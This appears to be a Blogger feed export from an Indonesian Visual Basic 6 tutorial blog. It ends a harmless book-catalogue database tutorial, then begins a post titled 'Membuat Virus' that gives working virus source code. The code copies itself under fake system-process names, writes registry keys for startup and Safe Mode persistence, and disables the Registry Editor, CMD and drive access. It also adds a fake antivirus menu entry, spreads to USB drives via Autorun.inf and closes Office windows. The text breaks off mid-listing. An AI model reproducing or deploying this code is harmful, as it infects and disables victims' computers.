style="font-size: x-small;"&gt;DataReport1.Show 'MENAMPILKAN LAPORAN&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Ubah"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'membuat textbox dapat di edit/ubah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = TruetxtReferensi.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = True&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Batal"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'disable textbox&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtJudul.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtReferensi.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenulis.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtCetakan.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;txtPenerbit.Enabled = False&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'batalkan update kemudian menuju ke record pertama&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.CancelUpdate&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Update"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DisableSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;With adoPrimaryRSdaftarBuku&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Clone&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Judul = txtJudul.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Referensi = txtReferensi.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penulis = txtPenulis.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!cetakan = TxtCetakan.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;!Penerbit = txtPenerbit.Text&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'menyimpan hasil pengeditan data&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;.Update&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End With&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If txtJudul.Text = "" Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Minimal Ketik Judul Bukunya dulu.", vbOKOnly, "Informasi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;mnuitemdelete_Click&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Keluar"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'keluar dari aplikasi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Unload Me&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub TxtSearch_KeyPress(KeyAscii As Integer)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;KeyAscii = Asc(UCase(Chr(KeyAscii)))&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error Resume Next&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika menekan enter&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If KeyAscii = 13 Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SelStart = 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SelLength = Len(TxtSearch.Text)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika cbosearch dipilih&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Select Case CboSearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Judul"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Judul like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Referensi"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Referensi like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penulis"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penulis like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Case "Penerbit"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'melakukan pencarian data pd txtsearch&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.Find "Penerbit like '*" + TxtSearch + "*'", , adSearchForward, 1&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Select&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'jika data tidak ditemukan maka&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;If adoPrimaryRSdaftarBuku.EOF Then&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;MsgBox "Data yang anda cari tidak ditemukan",vbOKOnly + vbCritical, "Search"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;adoPrimaryRSdaftarBuku.MoveFirst&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.Text = ""&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;TxtSearch.SetFocus&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End If&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;On Error GoTo 0&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt; &lt;br /&gt;&lt;u&gt;Letakan kode di bawah ini di Data environment1&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;Private Sub DataEnvironment_Initialize()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Selalu terkoneksi dengan database "Daftar Buku.mdb" asalkan masih dalam satu folder dengan aplikasi.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'Akibat jika anda lupa tdk menulis kode di bawah ini adalah&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'- muncul pesan untuk memasukan alamat yang benar database pada saat akan melihat laporan/report,&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pesan ini muncul karena anda membuat folder baru untuk meletakkan project sehingga alamat tdk ditemukan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'untuk latihan jangan tulis kode di bawah ini tetapi melalui Dataenvironment1 klik kanan properties&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pilih alamat file database "Daftar Buku.mdb". Kemudian coba jalankan aplikasi dan&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'pilih laporan maka laporan akan terlihat. Sekarang keluar dari VB dan pindahkan folder project anda&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'ke sembarang (alamat baru), jalankan aplikasi database masih terkoneksi&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;'tetapi pada saat ingin melihat laporan akan muncul pesan error.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;DataEnvironment1.DaftarBuku.ConnectionString = App.Path &amp;amp; "\Daftar Buku.mdb"&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: x-small;"&gt;End Sub&lt;/span&gt;&lt;/pre&gt;&lt;/center&gt;&lt;br /&gt;Semoga bermanfaat&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/10366076/DataBaseMyBooks.rar.html"&gt;Download Data Base MyBooks&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.facebook.com/sharer.php" name="fb_share" type="button_count"&gt;Bagikan&lt;/a&gt;&lt;script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"&gt;&lt;/script&gt;</content><link href="http://vbasiccode.blogspot.com/feeds/6040435728417186976/comments/default" rel="replies" title="Post Comments" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/08/database-koleksi-bukuku.html#comment-form" rel="replies" title="12 Comments" type="text/html"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/6040435728417186976" rel="edit" type="application/atom+xml"/><link href="http://www.blogger.com/feeds/540381649944697167/posts/default/6040435728417186976" rel="self" type="application/atom+xml"/><link href="http://vbasiccode.blogspot.com/2008/08/database-koleksi-bukuku.html" rel="alternate" title="MyBooks Database" type="text/html"/><author><name>VBasicCode</name><uri>http://www.blogger.com/profile/00765806371329283757</uri><email>noreply@blogger.com</email><gd:image height="24" rel="http://schemas.google.com/g/2005#thumbnail" src="http://2.bp.blogspot.com/-f9flvTsvPrg/UWgAtywQP5I/AAAAAAAAAcg/v9yyHrKy7ak/s1600/13038_106434246036590_7022958_n.jpg" width="32"/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="http://lh4.ggpht.com/JokomartonoVB/SLiUeyMAncI/AAAAAAAAAD8/97AJVDxrNz4/s72-c/software.jpg" width="72"/><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-540381649944697167.post-2522121197916888344</id><published>2008-08-21T00:03:00.007+07:00</published><updated>2010-12-26T00:11:38.253+07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Virus"/><title type="text">Membuat Virus</title><content type="html">Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?&lt;br /&gt;&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox&lt;br /&gt;Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.&lt;br /&gt;&lt;br /&gt;Masukan semua code di bawah ini pada form&lt;br /&gt;==========================================&lt;br /&gt;&lt;center&gt;&lt;pre class="alt2" dir="ltr" style="margin: 0px;padding: 3px;border: 1px inset;width: 500px;height: 498px;text-align: left;overflow: auto"&gt;Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long 'pencari Kleas dan Window Name Suatu File&lt;br /&gt;Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 'sendmessage&lt;br /&gt;Private Declare Function GetDriveType&amp;amp; Lib "Kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) ' penghandel flashdisk&lt;br /&gt;Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long 'exit windows&lt;br /&gt;Private Const WM_CLOSE = &amp;amp;H10&lt;br /&gt;Private Const EWX_LOGOFF = 0&lt;br /&gt;Private Const EWX_SHUTDOWN = 1&lt;br /&gt;Private Const EWX_REBOOT = 2&lt;br /&gt;Private Const EWX_FORCE = 4&lt;br /&gt;Private Const EWX_POWEROFF = 8&lt;br /&gt;&lt;br /&gt;Option Explicit&lt;br /&gt;Dim FWnd&lt;br /&gt;Dim obj As Object&lt;br /&gt;Dim doc As Object&lt;br /&gt;Dim WrkBook As Object&lt;br /&gt;Dim WrkSheet As Object&lt;br /&gt;Dim i As Integer&lt;br /&gt;Dim RegRun&lt;br /&gt;Dim FolderStartUp&lt;br /&gt;Dim FolderMyDocuments&lt;br /&gt;Dim FolderTemplates&lt;br /&gt;Dim FolderNetHood&lt;br /&gt;Dim FolderPrintHood&lt;br /&gt;Dim FolderFavorites&lt;br /&gt;Dim FolderSendTo&lt;br /&gt;Dim FolderPrograms&lt;br /&gt;Dim FlashDisk&lt;br /&gt;&lt;br /&gt;Private Sub Form_Load()&lt;br /&gt;On Error Resume Next&lt;br /&gt;'acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi&lt;br /&gt;Randomize&lt;br /&gt;Me.Caption = Int(Rnd * 2221189331445#) 'silahkan masukan angka sesuka anda&lt;br /&gt;'menggandakan diri&lt;br /&gt;GandakefolderIstimewa&lt;br /&gt;Me.Visible = False&lt;br /&gt;App.TaskVisible = False 'virus tidak terlihat di task manager&lt;br /&gt;InfeksiRegistry&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub BuatWord()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Set obj = CreateObject("word.application")&lt;br /&gt;Set doc = CreateObject("word.application")&lt;br /&gt;Set doc = obj.Documents.Add&lt;br /&gt;doc.Content = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub BuatXls()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Set obj = CreateObject("excel.application")&lt;br /&gt;Set WrkBook = obj.workbooks.Add&lt;br /&gt;Set WrkSheet = WrkBook.worksheets.Add&lt;br /&gt;WrkSheet.Cells(15, 4) = "VIRUS BERHASIL MENGINFEKSIMU - SALAM KENAL"&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub InfeksiRegistry()&lt;br /&gt;On Error Resume Next&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe" &amp;amp; " """ &amp;amp; FolderMyDocuments &amp;amp; "\services.exe""" 'virus akan tetap berjalan pada tipe windows Safe Mode&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell", FolderFavorites &amp;amp; "\SalamKenal.exe" 'virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions", 1, "REG_DWORD" 'Folder Options tdk dapat diakses&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0, "REG_DWORD" 'Sembunyikan file beratribut superhidden/File-file system&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD", 1, "REG_DWORD" 'Disable CMD dan File .Bat&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools", 1, "REG_DWORD" 'registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderTemplates &amp;amp; "\smss.exe" 'smss.exe berjalan pada saat startup&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon", FolderSendTo &amp;amp; "\System.exe" 'System.exe berjalan pada saat startup&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'search pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind", 1, "REG_DWORD" 'Ssearch pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp", 1, "REG_DWORD" 'help suport pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose", 1, "REG_DWORD" 'Tombol Turn Off pd star menu hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\Control Panel\Colors\WindowText", "255 0 0", "REG_SZ" 'DEFAULT TEKS MENJADI MERAH&lt;br /&gt;RegRun.regwrite "HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\", FolderFavorites &amp;amp; "\SalamKenal.exe" 'Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives", 4, "REG_DWORD" 'Drive C hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang&lt;br /&gt;RegRun.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu", 1, "REG_DWORD" 'Menu File pada Windows Ekplorer hilang&lt;br /&gt;RegRun.regwrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun", 1, "REG_DWORD" 'Autorun pada CD atau USB&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub GandaKeFlashDisk()&lt;br /&gt;On Error Resume Next&lt;br /&gt;If Dir(FlashDisk &amp;amp; "\Winlogon.exe") &amp;lt;&amp;gt; "Winlogon.exe" Then 'mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian&lt;br /&gt;FileCopy FolderStartUp &amp;amp; "\Winlogon.exe", FlashDisk &amp;amp; "\Winlogon.exe"&lt;br /&gt;SetAttr FlashDisk &amp;amp; "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;End If&lt;br /&gt;BuatFileAutorunInf&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub BuatFileAutorunInf()&lt;br /&gt;'membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi&lt;br /&gt;On Error Resume Next&lt;br /&gt;Open FlashDisk &amp;amp; "\Autorun.Inf" For Output As 1&lt;br /&gt;Print #1, "[AutoRun]"&lt;br /&gt;Print #1, "Icon=Winlogon.exe" 'Agar FlashDisk Memiliki Icon Sama dengan Virus&lt;br /&gt;Print #1, "Open=Winlogon.exe"&lt;br /&gt;Print #1, "ShellExecute=Winlogon.exe"&lt;br /&gt;Print #1, "Shell\Open\Command=Winlogon.exe"&lt;br /&gt;Print #1, "Shell=Open"&lt;br /&gt;Close #1&lt;br /&gt;SetAttr FlashDisk &amp;amp; "\Autorun.Inf", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Sub GandakefolderIstimewa()&lt;br /&gt;On Error Resume Next&lt;br /&gt;Set RegRun = CreateObject("WScript.Shell")&lt;br /&gt;FolderStartUp = RegRun.specialfolders("StartUp")&lt;br /&gt;FolderMyDocuments = RegRun.specialfolders("MyDocuments")&lt;br /&gt;FolderTemplates = RegRun.specialfolders("Templates")&lt;br /&gt;FolderNetHood = RegRun.specialfolders("NetHood")&lt;br /&gt;FolderPrintHood = RegRun.specialfolders("PrintHood")&lt;br /&gt;FolderFavorites = RegRun.specialfolders("Favorites")&lt;br /&gt;FolderSendTo = RegRun.specialfolders("SendTo")&lt;br /&gt;FolderPrograms = RegRun.specialfolders("Programs")&lt;br /&gt;On Error Resume Next&lt;br /&gt;'membuat virus dengan nama winlogon.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderStartUp &amp;amp; "\WinLogon.Exe"&lt;br /&gt;SetAttr FolderStartUp &amp;amp; "\Winlogon.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama services.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderMyDocuments &amp;amp; "\services.Exe"&lt;br /&gt;SetAttr FolderMyDocuments &amp;amp; "\services.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama smss.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderTemplates &amp;amp; "\smss.Exe"&lt;br /&gt;SetAttr FolderTemplates &amp;amp; "\smss.Exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama csrss.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderPrintHood &amp;amp; "\csrss.Exe"&lt;br /&gt;SetAttr FolderPrintHood &amp;amp; "\csrss.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama Isass.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderNetHood &amp;amp; "\Isass.Exe"&lt;br /&gt;SetAttr FolderNetHood &amp;amp; "\Isass.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama SalamKenal.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderFavorites &amp;amp; "\SalamKenal.Exe"&lt;br /&gt;SetAttr FolderFavorites &amp;amp; "\SalamKenal.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama System.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderSendTo &amp;amp; "\System.Exe"&lt;br /&gt;SetAttr FolderSendTo &amp;amp; "\System.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;'membuat virus dengan nama ctfmon.exe&lt;br /&gt;FileCopy App.Path &amp;amp; "\" &amp;amp; App.EXEName &amp;amp; ".exe", FolderPrograms &amp;amp; "\ctfmon.Exe"&lt;br /&gt;SetAttr FolderPrograms &amp;amp; "\ctfmon.exe", vbHidden + vbSystem + vbReadOnly&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer1_Timer() 'Timer 1 diberi interval 5 detik&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("OpusApp", "Document1 - Microsoft Word") 'Ms Word&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br /&gt;BuatWord&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer2.Enabled = True&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;End If&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("OpusApp", "New Microsoft Word Document.doc - Microsoft Word") 'Ms Word&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br /&gt;BuatWord&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer2.Enabled = True&lt;br /&gt;Timer1.Enabled = False&lt;br /&gt;End If&lt;br /&gt;End Sub&lt;br /&gt;&lt;br /&gt;Private Sub Timer2_Timer()&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("XLMAIN", "Microsoft Excel - Book1") 'ms excel&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br /&gt;BuatXls&lt;br /&gt;obj.Visible = True&lt;br /&gt;Timer1.Enabled = True&lt;br /&gt;Timer2.Enabled = False&lt;br /&gt;End If&lt;br /&gt;On Error Resume Next&lt;br /&gt;FWnd = FindWindow("XLMAIN", "Microsoft Excel - New Microsoft Excel Worksheet.xls") 'ms excel&lt;br /&gt;If FWnd &amp;lt;&amp;gt; 0 Then&lt;br /&gt;SendMessage FWnd, WM_CLOSE, True, True&lt;br 